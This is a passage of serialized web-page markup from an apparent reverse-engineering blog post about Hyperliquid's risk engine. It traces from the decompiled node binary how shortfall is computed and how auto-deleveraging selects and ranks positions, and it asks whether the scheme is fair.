",{"type":21,"tag":78,"props":161353,"children":161355},{"className":161354},[],[161356],{"type":26,"value":161357},"OptionUnitQty",{"type":26,"value":161359},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":21,"tag":22,"props":161361,"children":161362},{},[161363],{"type":26,"value":161364},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":21,"tag":143,"props":161366,"children":161367},{},[161368],{"type":21,"tag":78,"props":161369,"children":161372},{"className":161370},[6715,161371],"math-display",[161373],{"type":21,"tag":153,"props":161374,"children":161377},{"className":161375},[161376],"katex-display",[161378],{"type":21,"tag":153,"props":161379,"children":161381},{"className":161380},[6721],[161382],{"type":21,"tag":153,"props":161383,"children":161385},{"className":161384,"ariaHidden":3294},[6726],[161386,161417],{"type":21,"tag":153,"props":161387,"children":161389},{"className":161388},[6731],[161390,161394,161404,161408,161413],{"type":21,"tag":153,"props":161391,"children":161393},{"className":161392,"style":96757},[6736],[],{"type":21,"tag":153,"props":161395,"children":161397},{"className":161396},[6742,26],[161398],{"type":21,"tag":153,"props":161399,"children":161401},{"className":161400},[6742],[161402],{"type":26,"value":161403},"liq_equity",{"type":21,"tag":153,"props":161405,"children":161407},{"className":161406,"style":6918},[6820],[],{"type":21,"tag":153,"props":161409,"children":161411},{"className":161410},[6923],[161412],{"type":26,"value":2367},{"type":21,"tag":153,"props":161414,"children":161416},{"className":161415,"style":6918},[6820],[],{"type":21,"tag":153,"props":161418,"children":161420},{"className":161419},[6731],[161421,161426],{"type":21,"tag":153,"props":161422,"children":161425},{"className":161423,"style":161424},[6736],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":21,"tag":153,"props":161427,"children":161429},{"className":161428},[6742],[161430,161434,161552],{"type":21,"tag":153,"props":161431,"children":161433},{"className":161432},[24409,115862],[],{"type":21,"tag":153,"props":161435,"children":161437},{"className":161436},[115867],[161438],{"type":21,"tag":153,"props":161439,"children":161441},{"className":161440},[6762,24334],[161442,161540],{"type":21,"tag":153,"props":161443,"children":161445},{"className":161444},[6767],[161446,161535],{"type":21,"tag":153,"props":161447,"children":161450},{"className":161448,"style":161449},[6772],"height:1.427em;",[161451,161491,161502],{"type":21,"tag":153,"props":161452,"children":161454},{"style":161453},"top:-2.314em;",[161455,161459],{"type":21,"tag":153,"props":161456,"children":161458},{"className":161457,"style":114515},[6781],[],{"type":21,"tag":153,"props":161460,"children":161462},{"className":161461},[6742],[161463,161468,161472,161477,161481],{"type":21,"tag":153,"props":161464,"children":161466},{"className":161465},[6742],[161467],{"type":26,"value":5873},{"type":21,"tag":153,"props":161469,"children":161471},{"className":161470,"style":6821},[6820],[],{"type":21,"tag":153,"props":161473,"children":161475},{"className":161474},[6826],[161476],{"type":26,"value":113606},{"type":21,"tag":153,"props":161478,"children":161480},{"className":161479,"style":6821},[6820],[],{"type":21,"tag":153,"props":161482,"children":161484},{"className":161483},[6742,26],[161485],{"type":21,"tag":153,"props":161486,"children":161488},{"className":161487},[6742],[161489],{"type":26,"value":161490},"leverage",{"type":21,"tag":153,"props":161492,"children":161493},{"style":115917},[161494,161498],{"type":21,"tag":153,"props":161495,"children":161497},{"className":161496,"style":114515},[6781],[],{"type":21,"tag":153,"props":161499,"children":161501},{"className":161500,"style":115927},[115926],[],{"type":21,"tag":153,"props":161503,"children":161505},{"style":161504},"top:-3.677em;",[161506,161510],{"type":21,"tag":153,"props":161507,"children":161509},{"className":161508,"style":114515},[6781],[],{"type":21,"tag":153,"props":161511,"children":161513},{"className":161512},[6742],[161514,161520,161530],{"type":21,"tag":153,"props":161515,"children":161517},{"className":161516},[6742],[161518],{"type":26,"value":161519},"∣",{"type":21,"tag":153,"props":161521,"children":161523},{"className":161522},[6742,26],[161524],{"type":21,"tag":153,"props":161525,"children":161527},{"className":161526},[6742],[161528],{"type":26,"value":161529},"notional",{"type":21,"tag":153,"props":161531,"children":161533},{"className":161532},[6742],[161534],{"type":26,"value":161519},{"type":21,"tag":153,"props":161536,"children":161538},{"className":161537},[24437],[161539],{"type":26,"value":24440},{"type":21,"tag":153,"props":161541,"children":161543},{"className":161542},[6767],[161544],{"type":21,"tag":153,"props":161545,"children":161548},{"className":161546,"style":161547},[6772],"height:0.8804em;",[161549],{"type":21,"tag":153,"props":161550,"children":161551},{},[],{"type":21,"tag":153,"props":161553,"children":161555},{"className":161554},[24431,115862],[],{"type":21,"tag":66,"props":161557,"children":161559},{"id":161558},"what-if-nobody-wants-to-buy-the-position",[161560],{"type":26,"value":161561},"What If Nobody Wants to Buy the Position?",{"type":21,"tag":22,"props":161563,"children":161564},{},[161565],{"type":26,"value":161566},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":21,"tag":22,"props":161568,"children":161569},{},[161570,161572,161577],{"type":26,"value":161571},"When that happens, the exchange is basically left with a ",{"type":21,"tag":5302,"props":161573,"children":161574},{},[161575],{"type":26,"value":161576},"hot potato",{"type":26,"value":161578}," to get rid of: what should it even do with the debt?",{"type":21,"tag":38066,"props":161580,"children":161582},{"id":161581},"the-risk-engine",[161583],{"type":26,"value":161584},"The Risk Engine",{"type":21,"tag":22,"props":161586,"children":161587},{},[161588],{"type":26,"value":161589},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":21,"tag":66,"props":161591,"children":161593},{"id":161592},"clearing-up-bad-debt",[161594],{"type":26,"value":161595},"Clearing Up Bad Debt",{"type":21,"tag":22,"props":161597,"children":161598},{},[161599,161600,161607],{"type":26,"value":19311},{"type":21,"tag":29,"props":161601,"children":161604},{"href":161602,"rel":161603},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[33],[161605],{"type":26,"value":161606},"Hyperliquid docs",{"type":26,"value":161608}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":21,"tag":22,"props":161610,"children":161611},{},[161612,161614,161625,161627,161633,161635,161641],{"type":26,"value":161613},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":21,"tag":29,"props":161615,"children":161618},{"href":161616,"rel":161617},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[33],[161619],{"type":21,"tag":78,"props":161620,"children":161622},{"className":161621},[],[161623],{"type":26,"value":161624},"Clearinghouse",{"type":26,"value":161626},", a struct containing all liquidation-related info, nested within a bigger ",{"type":21,"tag":78,"props":161628,"children":161630},{"className":161629},[],[161631],{"type":26,"value":161632},"Exchange",{"type":26,"value":161634}," data structure. This is an example of what it might hold when serialized as ",{"type":21,"tag":78,"props":161636,"children":161638},{"className":161637},[],[161639],{"type":26,"value":161640},"MessagePack",{"type":26,"value":161642}," at runtime.",{"type":21,"tag":22,"props":161644,"children":161645},{},[161646],{"type":26,"value":161647},"This data will come in handy both for us and the agent.",{"type":21,"tag":161649,"props":161650,"children":161652},"file-download",{"path":161651},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":21,"tag":22,"props":161654,"children":161655},{},[161656,161658,161663],{"type":26,"value":161657},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":21,"tag":78,"props":161659,"children":161661},{"className":161660},[],[161662],{"type":26,"value":161624},{"type":26,"value":161664},". Some renaming later, we can infer something like this:",{"type":21,"tag":161343,"props":161666,"children":161670},{"source":161667,"target":161668,"direction":161669},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":21,"tag":22,"props":161672,"children":161673},{},[161674,161676,161681,161683,161689],{"type":26,"value":161675},"We have one huge function handling all clearinghouse operations, which we call ",{"type":21,"tag":78,"props":161677,"children":161679},{"className":161678},[],[161680],{"type":26,"value":161668},{"type":26,"value":161682},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":21,"tag":78,"props":161684,"children":161686},{"className":161685},[],[161687],{"type":26,"value":161688},"exchange_end_block",{"type":26,"value":161690},". So, at the end of each block we run some checks.",{"type":21,"tag":161312,"props":161692,"children":161693},{},[161694],{"type":21,"tag":22,"props":161695,"children":161696},{},[161697],{"type":26,"value":161698},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":21,"tag":22,"props":161700,"children":161701},{},[161702,161704,161710],{"type":26,"value":161703},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":21,"tag":78,"props":161705,"children":161707},{"className":161706},[],[161708],{"type":26,"value":161709},"clearinghouse.perform_auto_deleveraging",{"type":26,"value":161711}," flag.",{"type":21,"tag":161343,"props":161713,"children":161717},{"addr":161714,"line-start":161715,"line-end":161716},"0x555556ac3850","3290","3301",[],{"type":21,"tag":22,"props":161719,"children":161720},{},[161721,161723,161728],{"type":26,"value":161722},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":21,"tag":78,"props":161724,"children":161726},{"className":161725},[],[161727],{"type":26,"value":161624},{"type":26,"value":2022},{"type":21,"tag":114,"props":161730,"children":161732},{"id":161731},"threshold-condition",[161733],{"type":26,"value":161734},"Threshold Condition",{"type":21,"tag":22,"props":161736,"children":161737},{},[161738,161740,161745],{"type":26,"value":161739},"The natural connection between liquidations and ADL is ",{"type":21,"tag":5302,"props":161741,"children":161742},{},[161743],{"type":26,"value":161744},"shortfall",{"type":26,"value":161746},": by how much a position, or the entire system (!), is underwater.",{"type":21,"tag":22,"props":161748,"children":161749},{},[161750],{"type":26,"value":161751},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":21,"tag":21591,"props":161753,"children":161755},{"id":161754},"who-is-underwater",[161756],{"type":26,"value":161757},"Who Is Underwater?",{"type":21,"tag":22,"props":161759,"children":161760},{},[161761,161763,161768,161770,161776],{"type":26,"value":161762},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":21,"tag":78,"props":161764,"children":161766},{"className":161765},[],[161767],{"type":26,"value":161668},{"type":26,"value":161769},", starting from all user positions, which are stored in ",{"type":21,"tag":78,"props":161771,"children":161773},{"className":161772},[],[161774],{"type":26,"value":161775},"clearinghouse.user_states",{"type":26,"value":161777},", as we can also see from the serialization.",{"type":21,"tag":161312,"props":161779,"children":161780},{},[161781],{"type":21,"tag":22,"props":161782,"children":161783},{},[161784],{"type":26,"value":161785},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":21,"tag":161343,"props":161787,"children":161791},{"source":161788,"target":161688,"direction":161789,"path":161790},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":21,"tag":22,"props":161793,"children":161794},{},[161795,161796,161801,161803,161809,161811,161817,161819,161825],{"type":26,"value":19311},{"type":21,"tag":78,"props":161797,"children":161799},{"className":161798},[],[161800],{"type":26,"value":161788},{"type":26,"value":161802}," essentially turns that into an ",{"type":21,"tag":78,"props":161804,"children":161806},{"className":161805},[],[161807],{"type":26,"value":161808},"Iter",{"type":26,"value":161810},", then, inside of ",{"type":21,"tag":78,"props":161812,"children":161814},{"className":161813},[],[161815],{"type":26,"value":161816},"build_adl_candidate_set",{"type":26,"value":161818}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":21,"tag":78,"props":161820,"children":161822},{"className":161821},[],[161823],{"type":26,"value":161824},"AdlIterEntry",{"type":26,"value":60618},{"type":21,"tag":161343,"props":161827,"children":161829},{"type-name":161828},"AdlIterContext",[],{"type":21,"tag":22,"props":161831,"children":161832},{},[161833,161835,161841,161843,161849,161851,161857,161859,161864],{"type":26,"value":161834},"Note that in storage, ",{"type":21,"tag":78,"props":161836,"children":161838},{"className":161837},[],[161839],{"type":26,"value":161840},"Isolated",{"type":26,"value":161842}," positions have their own independent ",{"type":21,"tag":78,"props":161844,"children":161846},{"className":161845},[],[161847],{"type":26,"value":161848},"Entry",{"type":26,"value":161850}," in the position iterators, and ",{"type":21,"tag":78,"props":161852,"children":161854},{"className":161853},[],[161855],{"type":26,"value":161856},"Cross",{"type":26,"value":161858}," positions have a single common ",{"type":21,"tag":78,"props":161860,"children":161862},{"className":161861},[],[161863],{"type":26,"value":161848},{"type":26,"value":161865},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":21,"tag":161343,"props":161867,"children":161870},{"addr":161868,"line-start":3983,"line-end":161869},"0x555556266b10","163",[],{"type":21,"tag":22,"props":161872,"children":161873},{},[161874],{"type":26,"value":161875},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":21,"tag":161343,"props":161877,"children":161880},{"addr":161714,"line-start":161878,"line-end":161879},"506","527",[],{"type":21,"tag":22,"props":161882,"children":161883},{},[161884,161886],{"type":26,"value":161885},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":21,"tag":161887,"props":161888,"children":161891},"bndb-xref",{"lines":161889,"addrs":161890},"1-2","0x555556ac3e18-0x555556ac3e18",[161892],{"type":26,"value":161893},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":21,"tag":22,"props":161895,"children":161896},{},[161897,161899,161905,161907,161913,161915,161921,161923,161929],{"type":26,"value":161898},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":21,"tag":78,"props":161900,"children":161902},{"className":161901},[],[161903],{"type":26,"value":161904},"only_isolated",{"type":26,"value":161906}," (or ",{"type":21,"tag":78,"props":161908,"children":161910},{"className":161909},[],[161911],{"type":26,"value":161912},"strict_isolated",{"type":26,"value":161914}," in MessagePack dumps) are added to a separate queue, ",{"type":21,"tag":78,"props":161916,"children":161918},{"className":161917},[],[161919],{"type":26,"value":161920},"deferred_queue",{"type":26,"value":161922},", which triggers ADL regardless of the system's ",{"type":21,"tag":78,"props":161924,"children":161926},{"className":161925},[],[161927],{"type":26,"value":161928},"total_shortfall",{"type":26,"value":161930},". This is dictated by this branch.",{"type":21,"tag":161343,"props":161932,"children":161935},{"addr":161714,"line-start":161933,"line-end":161934},"211","243",[],{"type":21,"tag":22,"props":161937,"children":161938},{},[161939,161941,161948],{"type":26,"value":161940},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":21,"tag":29,"props":161942,"children":161945},{"href":161943,"rel":161944},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[33],[161946],{"type":26,"value":161947},"March 2025 incident",{"type":26,"value":161949},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":21,"tag":21591,"props":161951,"children":161953},{"id":161952},"how-do-we-get-rid-of-debt",[161954],{"type":26,"value":161955},"How Do We Get Rid of Debt?",{"type":21,"tag":22,"props":161957,"children":161958},{},[161959],{"type":26,"value":161960},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":21,"tag":22,"props":161962,"children":161963},{},[161964,161966,161971,161973,161978,161980,161985],{"type":26,"value":161965},"Thus, if the debt is insurmountable, the ",{"type":21,"tag":78,"props":161967,"children":161969},{"className":161968},[],[161970],{"type":26,"value":161920},{"type":26,"value":161972}," is overwritten by all the users marked by ",{"type":21,"tag":78,"props":161974,"children":161976},{"className":161975},[],[161977],{"type":26,"value":161816},{"type":26,"value":161979},", otherwise we keep it and only holders of underwater ",{"type":21,"tag":78,"props":161981,"children":161983},{"className":161982},[],[161984],{"type":26,"value":161912},{"type":26,"value":161986}," positions from the earlier loop are considered for ADL.",{"type":21,"tag":161312,"props":161988,"children":161989},{},[161990],{"type":21,"tag":22,"props":161991,"children":161992},{},[161993],{"type":26,"value":161994},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":21,"tag":161343,"props":161996,"children":161999},{"addr":161714,"line-start":161997,"line-end":161998},"523","526",[],{"type":21,"tag":22,"props":162001,"children":162002},{},[162003,162005,162011,162013,162019,162021,162026],{"type":26,"value":162004},"For each underwater position, we do a ",{"type":21,"tag":161887,"props":162006,"children":162008},{"addrs":162007},"0x555556ac42ad-0x555556ac42be",[162009],{"type":26,"value":162010},"B-tree lookup",{"type":26,"value":162012}," on ",{"type":21,"tag":78,"props":162014,"children":162016},{"className":162015},[],[162017],{"type":26,"value":162018},"clearinghouse.user_states[position.user]",{"type":26,"value":162020},", adding them to a ",{"type":21,"tag":78,"props":162022,"children":162024},{"className":162023},[],[162025],{"type":26,"value":19909},{"type":26,"value":162027}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":21,"tag":161343,"props":162029,"children":162032},{"addr":161714,"line-start":162030,"line-end":162031},"635","658",[],{"type":21,"tag":22,"props":162034,"children":162035},{},[162036],{"type":26,"value":162037},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":21,"tag":143,"props":162039,"children":162040},{},[162041],{"type":21,"tag":78,"props":162042,"children":162044},{"className":162043},[6715,161371],[162045],{"type":21,"tag":153,"props":162046,"children":162048},{"className":162047},[161376],[162049],{"type":21,"tag":153,"props":162050,"children":162052},{"className":162051},[6721],[162053],{"type":21,"tag":153,"props":162054,"children":162056},{"className":162055,"ariaHidden":3294},[6726],[162057],{"type":21,"tag":153,"props":162058,"children":162060},{"className":162059},[6731],[162061,162066],{"type":21,"tag":153,"props":162062,"children":162065},{"className":162063,"style":162064},[6736],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":21,"tag":153,"props":162067,"children":162069},{"className":162068},[6742],[162070],{"type":21,"tag":153,"props":162071,"children":162074},{"className":162072},[162073],"mtable",[162075,162155],{"type":21,"tag":153,"props":162076,"children":162079},{"className":162077},[162078],"col-align-r",[162080],{"type":21,"tag":153,"props":162081,"children":162083},{"className":162082},[6762,24334],[162084,162143],{"type":21,"tag":153,"props":162085,"children":162087},{"className":162086},[6767],[162088,162138],{"type":21,"tag":153,"props":162089,"children":162092},{"className":162090,"style":162091},[6772],"height:2.3452em;",[162093,162116],{"type":21,"tag":153,"props":162094,"children":162096},{"style":162095},"top:-4.3452em;",[162097,162102],{"type":21,"tag":153,"props":162098,"children":162101},{"className":162099,"style":162100},[6781],"height:3.3944em;",[],{"type":21,"tag":153,"props":162103,"children":162105},{"className":162104},[6742],[162106],{"type":21,"tag":153,"props":162107,"children":162109},{"className":162108},[6742,26],[162110],{"type":21,"tag":153,"props":162111,"children":162113},{"className":162112},[6742],[162114],{"type":26,"value":162115},"position_weight",{"type":21,"tag":153,"props":162117,"children":162119},{"style":162118},"top:-2.2092em;",[162120,162124],{"type":21,"tag":153,"props":162121,"children":162123},{"className":162122,"style":162100},[6781],[],{"type":21,"tag":153,"props":162125,"children":162127},{"className":162126},[6742],[162128],{"type":21,"tag":153,"props":162129,"children":162131},{"className":162130},[6742,26],[162132],{"type":21,"tag":153,"props":162133,"children":162135},{"className":162134},[6742],[162136],{"type":26,"value":162137},"position_adl_amount",{"type":21,"tag":153,"props":162139,"children":162141},{"className":162140},[24437],[162142],{"type":26,"value":24440},{"type":21,"tag":153,"props":162144,"children":162146},{"className":162145},[6767],[162147],{"type":21,"tag":153,"props":162148,"children":162151},{"className":162149,"style":162150},[6772],"height:1.8452em;",[162152],{"type":21,"tag":153,"props":162153,"children":162154},{},[],{"type":21,"tag":153,"props":162156,"children":162159},{"className":162157},[162158],"col-align-l",[162160],{"type":21,"tag":153,"props":162161,"children":162163},{"className":162162},[6762,24334],[162164,162365],{"type":21,"tag":153,"props":162165,"children":162167},{"className":162166},[6767],[162168,162360],{"type":21,"tag":153,"props":162169,"children":162171},{"className":162170,"style":162091},[6772],[162172,162300],{"type":21,"tag":153,"props":162173,"children":162174},{"style":162095},[162175,162179],{"type":21,"tag":153,"props":162176,"children":162178},{"className":162177,"style":162100},[6781],[],{"type":21,"tag":153,"props":162180,"children":162182},{"className":162181},[6742],[162183,162187,162191,162196,162200],{"type":21,"tag":153,"props":162184,"children":162186},{"className":162185},[6742],[],{"type":21,"tag":153,"props":162188,"children":162190},{"className":162189,"style":6918},[6820],[],{"type":21,"tag":153,"props":162192,"children":162194},{"className":162193},[6923],[162195],{"type":26,"value":2367},{"type":21,"tag":153,"props":162197,"children":162199},{"className":162198,"style":6918},[6820],[],{"type":21,"tag":153,"props":162201,"children":162203},{"className":162202},[6742],[162204,162208,162296],{"type":21,"tag":153,"props":162205,"children":162207},{"className":162206},[24409,115862],[],{"type":21,"tag":153,"props":162209,"children":162211},{"className":162210},[115867],[162212],{"type":21,"tag":153,"props":162213,"children":162215},{"className":162214},[6762,24334],[162216,162284],{"type":21,"tag":153,"props":162217,"children":162219},{"className":162218},[6767],[162220,162279],{"type":21,"tag":153,"props":162221,"children":162224},{"className":162222,"style":162223},[6772],"height:1.3944em;",[162225,162246,162257],{"type":21,"tag":153,"props":162226,"children":162227},{"style":161453},[162228,162232],{"type":21,"tag":153,"props":162229,"children":162231},{"className":162230,"style":114515},[6781],[],{"type":21,"tag":153,"props":162233,"children":162235},{"className":162234},[6742],[162236],{"type":21,"tag":153,"props":162237,"children":162239},{"className":162238},[6742,26],[162240],{"type":21,"tag":153,"props":162241,"children":162243},{"className":162242},[6742],[162244],{"type":26,"value":162245},"total_cross_notional",{"type":21,"tag":153,"props":162247,"children":162248},{"style":115917},[162249,162253],{"type":21,"tag":153,"props":162250,"children":162252},{"className":162251,"style":114515},[6781],[],{"type":21,"tag":153,"props":162254,"children":162256},{"className":162255,"style":115927},[115926],[],{"type":21,"tag":153,"props":162258,"children":162260},{"style":162259},"top:-3.7em;",[162261,162265],{"type":21,"tag":153,"props":162262,"children":162264},{"className":162263,"style":114515},[6781],[],{"type":21,"tag":153,"props":162266,"children":162268},{"className":162267},[6742],[162269],{"type":21,"tag":153,"props":162270,"children":162272},{"className":162271},[6742,26],[162273],{"type":21,"tag":153,"props":162274,"children":162276},{"className":162275},[6742],[162277],{"type":26,"value":162278},"position_notional",{"type":21,"tag":153,"props":162280,"children":162282},{"className":162281},[24437],[162283],{"type":26,"value":24440},{"type":21,"tag":153,"props":162285,"children":162287},{"className":162286},[6767],[162288],{"type":21,"tag":153,"props":162289,"children":162292},{"className":162290,"style":162291},[6772],"height:0.996em;",[162293],{"type":21,"tag":153,"props":162294,"children":162295},{},[],{"type":21,"tag":153,"props":162297,"children":162299},{"className":162298},[24431,115862],[],{"type":21,"tag":153,"props":162301,"children":162302},{"style":162118},[162303,162307],{"type":21,"tag":153,"props":162304,"children":162306},{"className":162305,"style":162100},[6781],[],{"type":21,"tag":153,"props":162308,"children":162310},{"className":162309},[6742],[162311,162315,162319,162324,162328,162338,162342,162347,162351],{"type":21,"tag":153,"props":162312,"children":162314},{"className":162313},[6742],[],{"type":21,"tag":153,"props":162316,"children":162318},{"className":162317,"style":6918},[6820],[],{"type":21,"tag":153,"props":162320,"children":162322},{"className":162321},[6923],[162323],{"type":26,"value":2367},{"type":21,"tag":153,"props":162325,"children":162327},{"className":162326,"style":6918},[6820],[],{"type":21,"tag":153,"props":162329,"children":162331},{"className":162330},[6742,26],[162332],{"type":21,"tag":153,"props":162333,"children":162335},{"className":162334},[6742],[162336],{"type":26,"value":162337},"user_shortfall",{"type":21,"tag":153,"props":162339,"children":162341},{"className":162340,"style":6821},[6820],[],{"type":21,"tag":153,"props":162343,"children":162345},{"className":162344},[6826],[162346],{"type":26,"value":113606},{"type":21,"tag":153,"props":162348,"children":162350},{"className":162349,"style":6821},[6820],[],{"type":21,"tag":153,"props":162352,"children":162354},{"className":162353},[6742,26],[162355],{"type":21,"tag":153,"props":162356,"children":162358},{"className":162357},[6742],[162359],{"type":26,"value":162115},{"type":21,"tag":153,"props":162361,"children":162363},{"className":162362},[24437],[162364],{"type":26,"value":24440},{"type":21,"tag":153,"props":162366,"children":162368},{"className":162367},[6767],[162369],{"type":21,"tag":153,"props":162370,"children":162372},{"className":162371,"style":162150},[6772],[162373],{"type":21,"tag":153,"props":162374,"children":162375},{},[],{"type":21,"tag":22,"props":162377,"children":162378},{},[162379],{"type":26,"value":162380},"We do that here:",{"type":21,"tag":161343,"props":162382,"children":162385},{"addr":161714,"line-start":162383,"line-end":162384},"828","981",[],{"type":21,"tag":22,"props":162387,"children":162388},{},[162389,162390,162396,162398,162404],{"type":26,"value":19311},{"type":21,"tag":161887,"props":162391,"children":162393},{"lines":162392},"77-79",[162394],{"type":26,"value":162395},"inner loop",{"type":26,"value":162397}," above spans all ",{"type":21,"tag":78,"props":162399,"children":162401},{"className":162400},[],[162402],{"type":26,"value":162403},"(asset_idx, direction)",{"type":26,"value":162405}," held in the cross margin position.",{"type":21,"tag":22,"props":162407,"children":162408},{},[162409,162411,162417,162419,162425,162426,162432],{"type":26,"value":162410},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":21,"tag":78,"props":162412,"children":162414},{"className":162413},[],[162415],{"type":26,"value":162416},"adl_output",{"type":26,"value":162418}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":21,"tag":78,"props":162420,"children":162422},{"className":162421},[],[162423],{"type":26,"value":162424},"position_id",{"type":26,"value":52},{"type":21,"tag":78,"props":162427,"children":162429},{"className":162428},[],[162430],{"type":26,"value":162431},"position_shortfall",{"type":26,"value":355},{"type":21,"tag":161343,"props":162434,"children":162437},{"addr":161714,"line-start":162435,"line-end":162436},"2377","2469",[],{"type":21,"tag":22,"props":162439,"children":162440},{},[162441,162443,162449],{"type":26,"value":162442},"Afterwards we can finally loop over the B-tree containing ",{"type":21,"tag":78,"props":162444,"children":162446},{"className":162445},[],[162447],{"type":26,"value":162448},"(position_id, cut)",{"type":26,"value":162450},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":21,"tag":22,"props":162452,"children":162453},{},[162454,162456,162461],{"type":26,"value":162455},"The final phase of ",{"type":21,"tag":78,"props":162457,"children":162459},{"className":162458},[],[162460],{"type":26,"value":161668},{"type":26,"value":162462}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":21,"tag":161343,"props":162464,"children":162467},{"addr":161714,"addr-start":162465,"addr-end":162466},"0x555556ac6d52","0x555556ac6de8",[],{"type":21,"tag":22,"props":162469,"children":162470},{},[162471],{"type":26,"value":162472},"How are positions chosen (sorted) to be deleveraged?",{"type":21,"tag":38066,"props":162474,"children":162476},{"id":162475},"who-do-we-deleverage",[162477],{"type":26,"value":162478},"Who Do We Deleverage?",{"type":21,"tag":22,"props":162480,"children":162481},{},[162482],{"type":26,"value":162483},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":21,"tag":22,"props":162485,"children":162486},{},[162487],{"type":26,"value":162488},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":21,"tag":22,"props":162490,"children":162491},{},[162492,162494,162501],{"type":26,"value":162493},"More formally, fairness can be given multiple related definitions; see ",{"type":21,"tag":29,"props":162495,"children":162498},{"href":162496,"rel":162497},"https://arxiv.org/abs/2512.01112",[33],[162499],{"type":26,"value":162500},"this paper",{"type":26,"value":162502},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":21,"tag":22,"props":162504,"children":162505},{},[162506],{"type":26,"value":162507},"So, is Hyperliquid fair? Is it always solvent?",{"type":21,"tag":66,"props":162509,"children":162511},{"id":162510},"adl-score-computation",[162512],{"type":26,"value":162513},"ADL Score Computation",{"type":21,"tag":22,"props":162515,"children":162516},{},[162517,162519,162525,162527,162533,162535,162540],{"type":26,"value":162518},"The score function at ",{"type":21,"tag":78,"props":162520,"children":162522},{"className":162521},[],[162523],{"type":26,"value":162524},"compute_adl_ranking_score",{"type":26,"value":162526}," is core to answering this question. It's defined, most likely as an ",{"type":21,"tag":78,"props":162528,"children":162530},{"className":162529},[],[162531],{"type":26,"value":162532},"Ord",{"type":26,"value":162534}," implementation on some 20-byte address representation. A ",{"type":21,"tag":78,"props":162536,"children":162538},{"className":162537},[],[162539],{"type":26,"value":19909},{"type":26,"value":162541}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":21,"tag":22,"props":162543,"children":162544},{},[162545,162547,162552,162554,162560,162562,162569,162571,162578],{"type":26,"value":162546},"Those sort routines are ",{"type":21,"tag":5302,"props":162548,"children":162549},{},[162550],{"type":26,"value":162551},"generated by the compiler",{"type":26,"value":162553},": since Rust binaries include a lot of metadata by default in ",{"type":21,"tag":78,"props":162555,"children":162557},{"className":162556},[],[162558],{"type":26,"value":162559},".comment",{"type":26,"value":162561},", we may even manually ",{"type":21,"tag":29,"props":162563,"children":162566},{"href":162564,"rel":162565},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[33],[162567],{"type":26,"value":162568},"take advantage",{"type":26,"value":162570}," of this to recover the ",{"type":21,"tag":29,"props":162572,"children":162575},{"href":162573,"rel":162574},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[33],[162576],{"type":26,"value":162577},"exact source of library 